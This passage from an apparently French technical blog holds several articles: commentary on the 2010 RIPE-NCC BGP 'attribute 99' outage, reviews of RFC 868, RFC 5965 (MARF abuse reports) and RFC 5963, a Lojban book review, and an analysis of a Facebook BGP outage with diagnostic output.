  • Il est très facile de perturber l'Internet, mais on est vite repéré et le problème est vite guéri. La panne du 27 août n'a duré qu'une heure. Même si le RIPE-NCC n'avait pas retiré l'annonce anormale, les ingénieurs auraient vite reconfiguré le réseau, comme cela a été le cas dans les affaires similaires.
  • L'Internet résiste aux soubresauts non pas parce que BGP est particulièrement bien conçu mais parce qu'il y a des gens compétents et dévoués derrière les routeurs. Rigidifier les procédures, augmenter le niveau de contrôle (dans le style UIT) aggraverait le problème au lieu de le résoudre, puisque cela empêcherait ces réactions intelligentes.
  • Il est facile de se vanter (et beaucoup de gens le font) qu'on peut construire un meilleur Internet. Techniquement, c'est faisable. Mais la vulnérabilité de l'Internet ne vient pas uniquement de ses protocoles mais aussi de leurs mises en œuvre. La faille du 27 août n'était pas dans BGP mais dans IOS XR. Les tenants d'une refonte de l'Internet ont-ils trouvé la méthode pour produire du logiciel sans bogue ? Si oui, il serait intéressant qu'ils la publient. De toute façon, la vulnérabilité fondamentale de l'Internet est qu'il connecte des organisations différentes et souvent ennemies. Tout réseau mondial aurait le même problème. Donc, soit on revient à un Minitel centralisé et national, soit on accepte le fait que la mondialisation a ses bons et ses mauvais côtés.
  • Peu de commentateurs ont relevé que le problème venait encore d'une bogue de Cisco. Bien sûr, d'autres marques de routeurs ont connu des bogues liées au traitement de BGP. Mais Cisco a quand même le record. Seulement, si on peut taper facilement sur le RIPE-NCC, s'attaquer à une grosse entreprise états-unienne ayant beaucoup d'avocats est plus difficile. Donc, peu de commentateurs ont osé dire qu'il fallait peut-être songer à faire des choix techniques différents et, au minimum, à diversifier les logiciels des routeurs. Ceci dit, si on veut défendre Cisco, le meilleur argument serait que les clients de ce vendeur réclament tout le temps des nouvelles fonctions, des nouveaux services et que l'accroissement du taille du logiciel qui en résulte ne va pas dans le sens de la fiabilité. Il faut savoir si on veut, de la stabilité ou bien le dernier truc à la mode...
  • Et enfin, un autre point doit être rappelé, lorsque je lis certaines indignations « Comment est-ce possible ? » ou « Que fait le gouvernement ? ». L'Internet n'est pas et ne doit pas être une infrastructure vitale. Bien sûr qu'il est important (par exemple, c'est lui qui justifie mon salaire) mais il n'y a pas de vies humaines en jeu. Si on voulait que des vies puissent être suspendues au bon fonctionnement de l'Internet (une très mauvaise idée), il faudrait en effet changer radicalement son architecture et en faire un réseau bien plus fermé, bien plus lent et bien moins innovant.

Et la deuxième question, celle de la légitimité à faire des tests sur le vrai Internet ? Plusieurs commentateurs (comme Pierre Col ou Earl Zmijewski - dans un article qui était autrement très intéressant) ont mis en cause le RIPE-NCC pour avoir fait des essais avec le vrai Internet. Des noms d'oiseaux ont circulé avec des arguments du genre « on n'est plus à l'époque du réseau universitaire pour jouer, il faut maintenant être très prudent avec le réseau ».

Cet argument semble de bon sens mais il revient en fait à taper sur le messager parce qu'on n'aime pas le message. La panne est gênante et c'est justement pour cela qu'il faut féliciter le RIPE-NCC pour avoir testé et permis qu'on la découvre avant les méchants, qui l'auraient utilisé de manière bien plus agressive ! Pour la sécurité et la stabilité de l'Internet, il faut continuer à tester. Si on engueule le messager parce que le message nous déplait, plus personne n'osera faire de tests et on ne découvrira les problèmes que le jour d'une vraie attaque !

Au moins, aurait-il été possible de tester plus prudemment, comme semble le promettre le premier communiqué public du RIPE-NCC ? Par exemple, ne pouvait-on pas tester dans le laboratoire avant d'essayer sur le vrai Internet ? La lecture de l'article du RIPE-NCC montre bien que l'expérience avait été soigneusement étudiée (comme le montre le fait d'interposer un routeur BGP standard pour être sûr de n'émettre que du BGP légal, je n'y aurai pas pensé). Aurait-il fallu tester avec divers modèles de routeurs pour s'assurer qu'on ne les cassait pas ? Peut-être mais il n'y a de toute façon aucun chance pour qu'un laboratoire ait à sa disposition toutes les combinaisons de routeur et de logiciel (d'autant plus que la bogue « attribut 99 » n'affectait que le routeur suivant le routeur bogué). Il n'aurait donc pas été possible de tout tester. À un moment ou à l'autre, il faut passer aux essais en vrai grandeur. Comme l'avait noté un participant sur la liste Nanog, « I'm planning on announcing x.y.z.0/20 later in the week -- x, y and z are all prime and the sum of all 3 is also a prime. There is a non-zero chance that something somewhere will go flooie, shall I send mail now or later? ».

À défaut de pouvoir tout tester à l'avance, le RIPE-NCC aurait-il pu mieux communiquer ? Toute mesure active (ce qui était le cas de l'« expérience attribut 99 ») peut potentiellement pertuber le système qu'elle mesure. Le RIPE-NCC n'a, semble t-il, pas prévenu à l'avance, sa première annonce était envoyée sur une liste fermée (elle a ensuite été relayée sur une liste publique). Donc, oui, sur ce point et seulement sur celui-là, le RIPE-NCC aurait pu faire mieux. Ne nous faisons cependant pas trop d'illusions : les messages d'avertissement (« Nous allons annoncer pendant soixante minutes un attribut BGP non enregistré, depuis deux POP et pour le préfixe 203.0.113.0/24 ») sont en général complètement ignorés par les équipes opérationnelles déjà débordées...

Ah au fait, cette expérience, à quoi elle était destinée ? À la sécurité ! Il s'agissait de voir si certaines propositions techniques de sécurisation de BGP (pour empêcher des embrouilles à la Pakistan Telecom) étaient réalistes, car elles reposaient sur des attributs BGP nouveaux. Si on ne teste pas la possibilité de déployer ces extensions à BGP dans le vrai Internet, on peut arrêter tout de suite tout le travail sur le BGP sécurisé.

Un article résumant la panne et ses conséquences sur BGP, telles que vues par Cyclops, est Cisco bug crashed Internet. Si vous aimez les graphiques, une jolie représentation de la baisse de trafic liées à la panne : http://inl.info.ucl.ac.be/system/files/16all.png. Pour une analyse des conséquences de l'« expérience 99 » sur le DNS, voir le communiqué de l'AFNIC.


L'article seul

RFC 868: Time Protocol

Date de publication du RFC : Mai 1983
Auteur(s) du RFC : J. Postel (University of Southern California (USC)/Information Sciences Institute), K. Harrenstien (SRI International)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 3 septembre 2010
Dernière mise à jour le 4 septembre 2010


Bon exemple d'une ère révolue, où les RFC pouvaient faire deux pages (copyright et autre boilerplate compris), et spécifier un protocole qui s'implémentait en quinze minutes. Celui-ci décrit le protocole Time, qui permettait de récupérer l'heure d'une machine distante.

Le but était de pouvoir synchroniser plus ou moins les horloges, en interrogeant celle d'une machine distante. Certes, la précision d'une telle mesure est faible (car on ne connait pas le temps de retour de l'information, celle-ci est donc déjà dépassée lorsqu'elle arrive) mais cela convenait, à cette époque où NTP était loin dans le futur (NTP est aujourd'hui normalisé dans le RFC 5905).

Difficile de faire plus simple que ce protocole Time. Comme beaucoup de protocole de cette époque (finger, whois, ...), il a un numéro de port réservé, 37. Il suffit de se connecter à la machine distante, sur ce port (en TCP ou en UDP) et on récupère un entier de 32 bits (le RFC ne prend pas la peine de préciser s'il est gros-boutien ou petit-boutien... ; ni d'ailleurs si l'entier est signé ou non) qui indique le nombre de secondes écoulées depuis le 1er janvier 1900 à zéro heure (UTC, même si le RFC utilise encore le vieux terme anglo-saxon-centriste de GMT ; à l'époque, les étrangers restaient à leur place et ne réclamaient pas un temps « universel »). Au fait, pourquoi 1900, époque où les ordinateurs n'existaient pas, plutôt que 1970 qui aurait été plus logique ? Mystère. Les commentaires dans le source d'OpenBSD sont amusants :

/*
 * Return a machine readable date and time, in the form of the
 * number of seconds since midnight, Jan 1, 1900.  Since gettimeofday
 * returns the number of seconds since midnight, Jan 1, 1970,
 * we must add 2208988800 seconds to this figure to make up for
 * some seventy years Bell Labs was asleep.
 */
u_int32_t
machtime(void)
{
        struct timeval tv;

        if (gettimeofday(&tv, NULL) < 0)
                return (0L);

        return (htonl((u_int32_t)tv.tv_sec + 2208988800UL));
}

Si vous êtes fort en calcul, vous avez déjà vu que 32 bits permettront d'aller jusqu'en 2036 (cette valeur de la date limite indique d'ailleurs que les auteurs du RFC pensaient à des entiers non signés, malgré le curieux exemple d'une valeur négative que donne le RFC à un moment). Après, il faudra se résigner à abandonner complètement ce protocole.

En attendant, il existe des mises en œuvre de ce RFC pour tous les Unix, typiquement en passant par inetd. Le service est en général coupé par défaut, car il n'a plus guère d'utilité pratique aujourd'hui. Sur une Debian, on trouve dans /etc/inetd.conf :

#time           stream  tcp     nowait  root    internal
#time           dgram   udp     wait    root    internal

et on peut activer le service en décommentant la ligne time et en rechargeant inetd.

Côté client, le protocole est binaire (son frère, DayTime, normalisé dans le RFC 867, est, lui, en mode texte lisible par un humain) donc telnet n'est pas très utile. Voici un petit programme client en Go qui se connecte à un serveur Time et indique l'heure qu'il y a sur cette machine distante :

% ./time-rfc-868 foo.bar.example
Time at foo.bar.example:37 is 3492608823 (which is Sat Sep  4 17:07:03 UTC 2010)

Le source est en time-rfc-868.go. Merci à Kim-Minh Kaplan pour son déboguage. On peut mettre des bogues dans un programme aussi court.

Pour revenir aux entiers signés ou non, le RFC donne un exemple de valeur négative, qui n'est pas compatible avec les autres données du document. Cela a fait l'objet d'un rapport de bogue.


Téléchargez le RFC 868


L'article seul

Fiche de lecture : What is Lojban?

Auteur(s) du livre : Nick Nicholas, John Cowan
Éditeur : Logical Language Group
0-9550283-1-7
Publié en 2003
Première rédaction de cet article le 1 septembre 2010


Il existe d'innombrables langues construites, des langues qui ne sont pas issues d'une évolution « naturelle » mais qui ont été soigneusement élaborées par des humains. La plus connue est évidemment l'espéranto mais le lojban, présenté dans ce livre, a un cahier des charges assez différent. Son but principal n'est pas la paix dans le monde via la compréhension mutuelle, c'est la logique : faire une langue permettant de s'exprimer sans ambiguité, et qui soit complètement analysable par un analyseur syntaxique normal.

Le livre « What is lojban? » (ou, en lojban, « la lojban. mo ») est un recueil de différents textes en anglais produits par l'organisation qui supervise la langue, le Logical Language Group. Pour ceux qui ne veulent ou ne peuvent acheter l'édition papier, il est aussi disponible en ligne. (Il y a aussi une version en français, malheureusement uniquement dans un format fermé, en lojban.doc.) Parmi les éditeurs de ce recueil, j'ai noté la présence de John Cowan, qui a été un des piliers du groupe de travail LTRU de l'IETF et j'ai pu apprécier, dans ce groupe, ses vastes connaissances, son excellent style et sa patience.

Que contient le livre ? La FAQ du site officiel, des exemples de courts textes en lojban, un guide de prononciation pour les locuteurs de diverses langues (mais pas le français) et surtout le texte « Overview of Lojban Grammar » qui décrit la structure de la langue. Ce n'est pas un tutoriel, pas question d'apprendre le lojban ainsi, mais c'est une description technique de la grammaire de la langue. À noter que, les composants d'un texte en lojban n'ayant pas forcément d'équivalent dans d'autres langues (des notions comme la distinction entre nom et verbe n'existent pas), ces composants sont désignés par leur nom en lojban. Il est donc prudent, en lisant le texte, d'avoir une fiche rappelant ce qu'est un brivla (le terme utilisé pour désigner un prédicat puisque le lojban est fondé sur la logique des prédicats), un sumti (l'argument d'un prédicat) ou un cmavo (catégorie qui regroupe les prépositions et ce pour quoi, dans d'autres langues, on utiliserait la ponctuation). Je ne vais pas résumer toute la grammaire lojban ici, juste décrire quelques points intéressants qui peuvent donner envie de voir le lojban de plus près.

Je commence par une phrase triviale en lojban, « mi klama le xunre zdani » (quelque chose comme « je vais à la maison rouge » ; si vous voulez voir un texte plus long, regardez la page d'accueil du site officiel). Comme le lojban est décrit par une grammaire formelle, en LALR(1), on peut écrire relativement facilement un analyseur syntaxique, comme par exemple le programme jbofihe. Cela donne :

% cat ~/tmp/hello.txt
mi klama le xunre zdani

% jbofihe -t ~/tmp/hello.txt  
| +-CMAVO : mi [KOhA3]
| | +-BRIVLA : klama
| | | +-CMAVO : le [LE]
| | | | +-BRIVLA : xenru
| | | | +-BRIVLA : zdani
| | | +-SELBRI_3
| | +-SUMTI_6
| +-BRIDI_TAIL_3
+-NO_CU_SENTENCE
CHUNKS

où le brivla le plus externe, klama joue le rôle du prédicat principal. jbofihe permet aussi de représenter l'arbre syntaxique sous d'autres formes par exemple en (mauvais) HTML avec l'option -H (notez qu'il a inclus une traduction des mots) :

[1(2[klama1 (go-er(s)) :] mi I, me)2 [is, does] <<3klama go-ing>>3 (4[klama2 (destination(s)) :] le the (5xunre red [type-of] zdani home(s))5)4]1

La même chose est possible en LaTeX avec l'option -l. Cette possibilité d'analyser syntaxiquement la langue permet le développement d'outils de traitement linguistique. jbofihe peut aussi vérifier que la syntaxe d'un texte est correcte. On peut même l'utiliser depuis Emacs avec un code d'initialisation comme :

(defun lojban-parse () ""
  (interactive "")      
  (shell-command-on-region (region-beginning) (region-end) "jbofihe"))

(global-set-key "\C-x-" 'lojban-parse)

(Il existe naturellement un mode Emacs pour le lojban.)

Après ce petit détour technique (désolé, problème classique des gens qui apprennent le loban, comme l'a montré un dessin de xkcd), quelques éléments intéressants sur la langue :

  • Chaque prédicat a un nombre d'arguments fixe et connu. Par exemple, tavla, « parler », a quatre arguments, le locuteur, le destinataire, le sujet et la langue utilisée. Si on utilise les quatre arguments, pas de problème. Si on ne spécifie que les N premiers, pas de problème, les autres sont optionnels. Mais si on ne spécifie, mettons, que le quatrième et qu'on veut dire « je parle en lojban » ? Deux solutions, un terme qui représente l'inconnu, zo'e ou bien des termes qui modifient l'ordre des arguments. Donc, la première solution serait mi tavla zo'e zo'e la lojban et la seconde mi tavla fo la lojbanfo indique que l'argument est normalement le quatrième (attention en comptant, le premier argument, ici mi, se met avant le prédicat).
  • Les questions se font en indiquant simplement mo ou ma à la place du terme qui serait la réponse à la question. Donc, le titre du livre, la lojban mo est une question dont la réponse serait la lojban EST-CECI-OU-CELA.
  • Le lojban permet de s'exprimer sans ambiguité, c'est là un élement essentiel de son cahier des charges. Mais il permet aussi de ne pas avoir à tout spécifier, si c'est inutile. Ainsi, en français, contrairement à l'anglais, on doit toujours préciser le genre de la personne dont on parle (comparez « je déjeune avec un ami » et « I have lunch with a friend »). En turc (exemple emprunté au Dictionnaire amoureux des langues), on doit toujours préciser si on a été témoin direct ou non du fait qu'on rapporte. En lojban, on peut omettre tout ce qu'on ne considère pas comme pertinent. Le genre de la personne, le temps des verbes, même le nombre de choses dont on parle sont optionnels. (Le lojban dispose de termes permettant, si on le juge utile, d'exprimer les nuances du turc sur l'observation directe ou pas d'un fait ; section « Evidentials », p. 104 dans l'édition papier.) Comme l'explique un excellent article du New York Times, les langues ne se différencient pas tant par ce qu'elles permettent ou empêchent de dire, mais par ce qu'elles imposent de préciser (ou pas).

Quelles ressources existent en lojban sur l'Internet ? Elles sont nombreuses, incluant un Wikipédia (peu rempli mais regardez par exemple l'article sur le phoque), un wiktionnaire (également peu rempli) et plein de choses en http://www.lobjan.org/. Il y a naturellement plusieurs listes de diffusion et canal IRC, avec un bot sympa qui me traduit un brivla et me donne ses arguments :

(23:05:39) bortzmeyer: valsi klama
(23:05:40) valsi: klama = x1 comes/goes to destination x2 from origin x3 via route x4 using means/vehicle x5. 

Quel est l'avenir du lojban ? C'est évidemment difficile à dire. Cette langue n'a pas échappé aux sorts de bien des projets marginaux, les scissions (en l'occurrence entre le Logical Language Group, qui gère le lojban, et le Loglan Institute, entre autre parce que le créateur originel de la langue prétendait détenir des droits de propriété intellectuelle. Voir la FAQ à ce sujet.

Mais, au delà de ces disputes assez glauques, le lojban reste une formidable aventure scientifique et intellectuelle. C'est un langage de geeks ? Tant pis, cela ne devrait pas arrêter les curieux.


L'article seul

Facebook joue avec BGP

Première rédaction de cet article le 31 août 2010


Comme vous avez pu le voir, Facebook a été en panne pour beaucoup d'utilisateurs (surtout en Europe, il semble). La cause est un problème BGP.

De à peu près 1200 UTC à environ 1345, Facebook a été injoignable depuis beaucoup de réseaux. Les curieux qui ont fait un traceroute auront vu quelque chose du genre :

% traceroute www.facebook.com
traceroute to www.facebook.com (69.63.189.31), 64 hops max, 40 byte packets
 1  217.70.191.251 (217.70.191.251)  0 ms  0 ms  0 ms
 2  vl2.core4-d.gandi.net (217.70.176.132)  0 ms  0 ms  0 ms
 3  po88-jd4.core1-j.gandi.net (217.70.176.225)  1 ms  1 ms  1 ms
 4  po88-jd4.core1-j.gandi.net (217.70.176.225)  1 ms !H * *

montrant que le premier routeur BGP sans route par défaut n'avait pas de route vers le fameux réseau social... En effet, regarder quelques looking glasses (trouvés sur l'excellent http://www.traceroute.org/) confirme : « show ip bgp 69.63.190.14 \ Network not in table » ou des messages similaires. Si on a un routeur qui reçoit toute la table de routage de l'Internet, on peut voir que le réseau de Facebook apparait et disparait (ici un Juniper) :

admin@m7i-1-XXXX> show route 69.63.190.14

admin@m7i-1-XXXX>

...
admin@m7i-1-XXXX> show route 69.63.190.14

inet.0: 325150 destinations, 325150 routes (325081 active, 0 holddown, 69 hidden)
Restart Complete
+ = Active Route, - = Last Active, * = Both

69.63.184.0/21     *[BGP/170] 00:00:43, MED 0, localpref 100
                     AS path: 8220 8220 32934 I
                   > to X.Y.14.225 via fe-0/1/3.0

Résultat de ce yo-yo, les routeurs finissent par refuser automatiquement les annonces Facebook (« suppressed due to dampening »). Même lorsque Facebook a réparé sa configuration BGP, le problème a subsisté un certain temps. Voici un exemple sur le looking glass de PCH :

Looking Glass Results - route-collector.fra.pch.net
Date: Tue Aug 31 12:46:04 2010 UTC

Query:
Argument(s): 69.63.190.18

BGP routing table entry for 69.63.184.0/21
Paths: (2 available, no best path)
  Not advertised to any peer
  32934, (suppressed due to dampening)
    80.81.194.40 from 80.81.194.40 (204.15.20.1)
      Origin IGP, metric 0, localpref 100, valid, external
      Community: 3856:54800
      Dampinfo: penalty 5023, flapped 64 times in 01:09:18, reuse in 00:41:09
      Last update: Tue Aug 31 12:46:01 2010

  32934, (suppressed due to dampening)
    80.81.195.40 from 80.81.195.40 (204.15.23.109)
      Origin IGP, metric 0, localpref 100, valid, external
      Community: 3856:54800
      Dampinfo: penalty 4030, flapped 63 times in 01:09:18, reuse in 00:36:23
      Last update: Tue Aug 31 12:45:35 2010

Comme la configuration DNS de Facebook est très fragile (les serveurs de noms sont tous sur le même réseau), le DNS lui-même a des problèmes et, parfois, on ne peut pas résoudre le nom :

% traceroute www.facebook.com
traceroute: unknown host www.facebook.com

En effet, aucun serveur ne répond :

%  check_soa www.facebook.com 
There was no response from glb01.ash1.tfbnw.net
There was no response from glb01.ams1.tfbnw.net
There was no response from glb01.dfw1.tfbnw.net
...

Question DNS, notons aussi que les serveurs de facebook.com envoient des adresses IP différentes selon le demandeur. Cela explique en partie que Facebook ne soit pas en panne pour tout le monde (en Europe, www.facebook.com semble dans 69.63.184.0/21 et aux États-Unis dans 66.220.152.0/21). On peut avoir une bonne vision de la configuration BGP de Facebook en http://bgp.he.net/AS32934.

Depuis, Facebook a fait une autre jolie panne, le 23 septembre. Elle n'a apparemment aucun lien avec BGP cette fois (ni avec le DNS, quoique aient dit certains ignorants), et a été (modérément) documentée par Facebook. Une autre grande panne, bien due au DNS, celle-ci, a eu lieu le 7 mars 2012 (voyez un amusant test DNS pendant la panne, notez bien qu'il y a deux adresses IP privées dans la liste).


L'article seul

RFC 5965: An Extensible Format for Email Feedback Reports

Date de publication du RFC : Août 2010
Auteur(s) du RFC : Y. Shafranovich (ShafTek Enterprises), J. Levine (Taughannock Networks), M. Kucherawy (Cloudmark)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF marf
Première rédaction de cet article le 31 août 2010
Dernière mise à jour le 1 septembre 2010


Les opérateurs de réseaux et de serveurs, aujourd'hui, passent beaucoup de temps à s'envoyer des rapports indiquant qu'un message reçu est en fait abusif, spam ou hameçonnage. Ces rapports sont désormais bien trop nombreux pour être traités manuellement et il est donc nécessaire de définir un format standard pour les représenter, de façon à permettre un minimum de traitement automatique sur ces rapports. C'est ce que fait notre RFC, le premier du groupe de travail MARF. Ce format s'appuie évidemment sur MIME.

Avant l'adoption du format MARF (qui précède sa normalisation formelle dans ce RFC), plusieurs opérateurs avaient défini des formats privés (section 1). Cela rendait évidemment difficile l'analyse des rapports envoyés, il fallait écrire du code pour chaque opérateur. Désormais, il existe donc un format standard, basé sur le type MIME multipart/report normalisé dans le RFC 6522. Ce format utilise le sous-type (« type du rapport ») feedback-report.

Ce n'est pas la première tentative de normalisation dans ce domaine, les précédentes n'ont pas été des succès.

Ce RFC ne fait que normaliser un format, il ne spécifie pas à qui les rapports doivent être envoyés, comment les authentifier, ou ce qu'il faut en faire, il se focalise sur l'aspect technique. Le cahier des charges figure en section 1.2 :

  • Le format devait être lisible à la fois par un humain et par un programme,
  • Le message signalé devait être inclus dans le rapport,
  • Le format devait permettre l'ajout de métadonnées,
  • Le format devait être extensible.

Ces objectifs ont-il été atteints ? Voyons la définition du nouveau format (une certaine familiarité avec le RFC 5598 est utile).

La section 2 du RFC décrit le format MARF. Un message MARF est donc un message MIME multipart/report, tel que défini dans le RFC 3462. Le type du rapport est feedback-report (donc le message contiendra un en-tête du genre Content-Type: multipart/report; report-type=feedback-report; ...). Chaque rapport ne concerne qu'un seul message, il n'y a pas de mécanisme pour l'agrégation de messages. Il comprend trois parties MIME obligatoires :

  • La première est une description en langue naturelle du rapport,
  • La seconde est un ensemble de métadonnées structurées, de type MIME message/feedback-report,
  • La troisième est le message original, de type message/rfc822 en général (rappelez-vous que MIME est récursif et qu'il est donc parfaitement possible d'avoir un message MIME dans un autre message MIME).

Le sujet du rapport doit être le champ Subject: du message original, éventuellement avec un préfixe comme FW: (pour forwarded), ce qui me semble déroutant car, en examinant sa boîte aux lettres manuellement, on ne distingue pas facilement les spams des rapports sur les spams.

Focalisons-nous un instant sur la seconde partie, les métadonnées. Le format de ce nouveau type MIME message/feedback-report est décrit dans la section 3. Cette partie est composée de plusieurs champs, suivant la syntaxe des en-têtes du courrier (attention, seule leur syntaxe est identique, un champ de même nom qu'un champ du RFC 5322 n'a pas forcément la même sémantique). Comme pour tout le contenu du rapport, le destinataire ne doit pas forcément leur faire une confiance aveugle. Ils représentent des assertions du créateur du rapport et ne sont pas forcément vérifiables.

La liste des champs n'est pas fixée définitivement, de nouveaux champs pourront être enregistrés dans le futur. Aujourd'hui, la liste des champs obligatoires comprend (section 3.1) :

  • Feedback-Type:, défini dans la section 3.5,
  • User-Agent:, indiquant le logiciel qui a produit le rapport,
  • Version:, aujourd'hui toujours 1.

Il y a aussi des champs facultatifs, parmi lesquels (sections 3.2 et 3.3) :

  • Arrival-Date: indiquant l'heure de réception,
  • Authentication-Results: qui indique les résultats des procédures d'authentification, tels que formalisés par le RFC 7001,
  • Incidents:, un nombre indiquant le nombre de fois que ce message a été reçu,
  • Reported-Domain:, qui indique le nom du coupable présumé (par exemple parce que le message vient de lui),
  • Reported-URI:, qui indique un URI pertinent pour le rapport, par exemple l'URL d'un site Web de hameçonnage pour lequel un spam faisait de la publicité,
  • Source-IP:, indiquant l'adresse IP source au moment où le message est entré dans le domaine qui génère le rapport,
  • Et bien d'autres (la liste complète et à jour figure dans le registre). Notez que certains champs facultatifs peuvent apparaitre plusieurs fois (comme Reported-URI:) et d'autres une et une seule fois (comme Arrival-Date:).

Un exemple d'une telle partie :


Feedback-Type: abuse
User-Agent: SomeGenerator/1.0
Version: 1
Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT
Source-IP: 192.0.2.1
Authentication-Results: mail.example.net;
               spf=fail smtp.mail=somespammer@example.com
Reported-Domain: example.com
Reported-Uri: http://example.com/earn_money_fast.html

La grammaire complète figure en section 3.5.

On le sait, le courrier électronique est une jungle où tout est possible. Les rapports peuvent être mensongers ou, tout simplement, incorrects techniquement. Que faire dans ce cas ? La section 4 est claire : de tels messages devraient être ignorés ou rejetés. Le principe de robustesse (« Acceptez n'importe quoi et essayez de le décoder ») ne s'applique pas aux questions de sécurité.

Je l'ai dit plus haut, une des exigences du cahier des charges était l'extensibilité. La section 6 expose les moyens déployés par MARF pour atteindre ce but. Notamment, deux registres IANA sont créés, pour pouvoir ajouter des nouvelles données : le registre des types de retours (feedback types) et celui des champs dans les métadonnées. Les types et les champs inconnus doivent donc être ignorés par les programmes, afin de pouvoir ajouter des nouveaux sans casse.

Les registres en question sont décrits de manière plus formelle dans la section 7. Celle-ci décrit l'enregistrement du nouveau type MIME message/feedback-report, le nouveau registre des métadonnées (dans lequel on peut enregistrer par la procédure « spécification obligatoire » du RFC 5226) et le nouveau registre des types de retour (même procédure pour l'enregistrement). Aujourd'hui, ce registre contient des types comme abuse (courrier non sollicité), fraud (courrier de tentative d'escroquerie), virus (courrier contenant un virus), etc.

Comme tout ce RFC porte sur un problème de sécurité, il est normal que la section dédiée à ce sujet, la 8, se demande si le nouveau format est lui-même sûr. Elle met notamment en garde contre les interprétations abusives (section 8.2) : cette norme décrit juste un format, elle ne garantit pas que les rapports, même syntaxiquement corrects, soient authentiques. Le mécanisme par lequel on décide de faire confiance (ou pas) à un rapport n'est pas spécifié par ce RFC. Il est donc déconseillé de déclencher automatiquement des actions (comme l'inscription sur une liste noire) sur la seule base d'un rapport, sans précautions supplémentaires.

Par exemple, le RFC recommande que les rapports soient un minimum authentifiés, par le biais de techniques comme SPF, DKIM ou S/MIME (ce dernier est conseillé mais, curieusement, PGP n'est pas cité).

Autre problème de sécurité lié à ces rapports, le risque d'attenter à la vie privée. La section 8.5 rappelle que la règle devrait être d'envoyer des rapports complets mais, si la protection de la vie privée le nécessite, qu'on peut supprimer certaines parties du rapport pour ne pas révéler d'informations privées. (Même si on devine que cette idée de vie privée défrise considérablement les auteurs du RFC.)

Peut-on générer automatiquement des rapports MARF (section 8.6), par exemple parce qu'un pot de miel a reçu un spam ? Le RFC met en garde : un attaquant qui sait qu'un tel générateur existe pourrait l'utiliser pour faire fabriquer des rapports contre ses ennemis, en envoyant de faux spams.

Encore un piège amusant : les rapports seront souvent générés pour des messages qui contiennent du logiciel malveillant. Ledit logiciel va se trouver dans la partie du rapport qui reprend le message original. Les processeurs de messages MARF doivent donc faire attention à ne pas, par exemple, exécuter accidentellement le méchant logiciel (section 8.7) !

Un exemple plus complet est cité dans l'annexe B2 du RFC (le message original a le sujet Earn money et prétend venir de somespammer@example.net) :


From: <abusedesk@example.com>
Date: Thu, 8 Mar 2005 17:40:36 EDT
Subject: FW: Earn money
To: <abuse@example.net>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=feedback-report;
  boundary="part1_13d.2e68ed54_boundary"

--part1_13d.2e68ed54_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

This is an email abuse report for an email message received from IP
192.0.2.1 on Thu, 8 Mar 2005 14:00:00 EDT.  For more information
about this format please see http://www.mipassoc.org/arf/.

--part1_13d.2e68ed54_boundary
Content-Type: message/feedback-report

Feedback-Type: abuse
User-Agent: SomeGenerator/1.0
Version: 1
Original-Mail-From: <somespammer@example.net>
Original-Rcpt-To: <user@example.com>
Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT
Reporting-MTA: dns; mail.example.com
Source-IP: 192.0.2.1
Authentication-Results: mail.example.com;
            spf=fail smtp.mail=somespammer@example.com
Reported-Domain: example.net
Reported-Uri: http://example.net/earn_money.html
Reported-Uri: mailto:user@example.com
Removal-Recipient: user@example.com

--part1_13d.2e68ed54_boundary
Content-Type: message/rfc822
Content-Disposition: inline

From: <somespammer@example.net>
Received: from mailserver.example.net (mailserver.example.net
  [192.0.2.1]) by example.com with ESMTP id M63d4137594e46;
  Thu, 08 Mar 2005 14:00:00 -0400
To: <Undisclosed Recipients>
Subject: Earn money
MIME-Version: 1.0
Content-type: text/plain
Message-ID: 8787KJKJ3K4J3K4J3K4J3.mail@example.net
Date: Thu, 02 Sep 2004 12:31:03 -0500

Spam Spam Spam
Spam Spam Spam
Spam Spam Spam
Spam Spam Spam
--part1_13d.2e68ed54_boundary--

Qui utilise ou utilisera ce format ? Je n'ai pas trouvé sur le site officiel de liste des implémentations (pour générer et analyser du MARF). Il faut se contenter des liens en http://wordtothewise.com/resources/arfdeveloper.html. Voir par exemple :

Mais, apparemment, plusieurs opérateurs utilisent déjà ce format. Idéalement, on devrait pouvoir l'utiliser pour soumettre des rapports à abuse@opérateur.net et à des organismes comme Signal-Spam (ce dernier semble tout à fait mort). Mais cela ne semble pas possible actuellement. En tout cas, au bureau, seule une minorité des rapports de spam que je reçois sont pour l'instant à ce format (je ne peux pas les reproduire ici, pour des raisons de protection des données personnelles ; dans beaucoup de cas, le rapport est erroné et je ne veux pas que des innocents se trouvent mentionnés). Un autre document, plus récent, le RFC 6650, décrit en détail dans quels cas utiliser ARF et comment.


Téléchargez le RFC 5965


L'article seul

RFC 5963: IPv6 Deployment in Internet Exchange Points (IXPs)

Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Gagliano (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 31 août 2010


Le fonctionnement de l'Internet aujourd'hui repose largement sur des points d'échange où les différents opérateurs se connectent pour échanger du trafic IP. Le point d'échange typique fournit un réseau Ethernet où chacun connecte son routeur, et alloue des adresses IP pour configurer ces dits routeurs, qui vont ensuite établir des liens BGP entre eux. La principale conclusion de ce nouveau RFC est que la très grande majorité des points d'échange fournissant un service de couche 2, le fait d'utiliser IPv6 au lieu d'IPv4 ne change pas grand'chose à la gestion du point d'échange.

La section 1 résume l'état actuel du monde des points d'échange. Presque toujours, le service rendu est une connexion de niveau 2, quasiment uniquement en Ethernet. Le principal service de niveau 3 rendu par les gérants du point d'échange est l'attribution d'adresses IP aux routeurs des opérateurs. Curieusement, ce service n'est pas mentionné dès la section 1, qui cite à la place des fonctions moins vitales comme le serveur de routes ou bien les statistiques (globales ou bien par protocole).

La section 2 du RFC passe ensuite aux questions liées à l'interface entre la couche de liaison et la couche réseau. IPv6 sur Ethernet doit se faire selon le RFC 2464. Le commutateur Ethernet lui-même, travaillant en couche 2, n'a rien de spécial à faire. On peut se poser la question de séparer les trafics v4 et v6. Cela peut se mettre en œuvre avec deux ports physiques sur le commutateur ou bien avec deux VLAN séparés. Mais cette séparation n'est pas indispensable. (Le faire avec des ports séparés consomme des ressources matérielles sur le routeur et le faire avec des VLAN impose aux routeurs de gérer 802.1Q.) Elle complique la configuration mais peut simplifier certaines fonctions comme les statistiques.

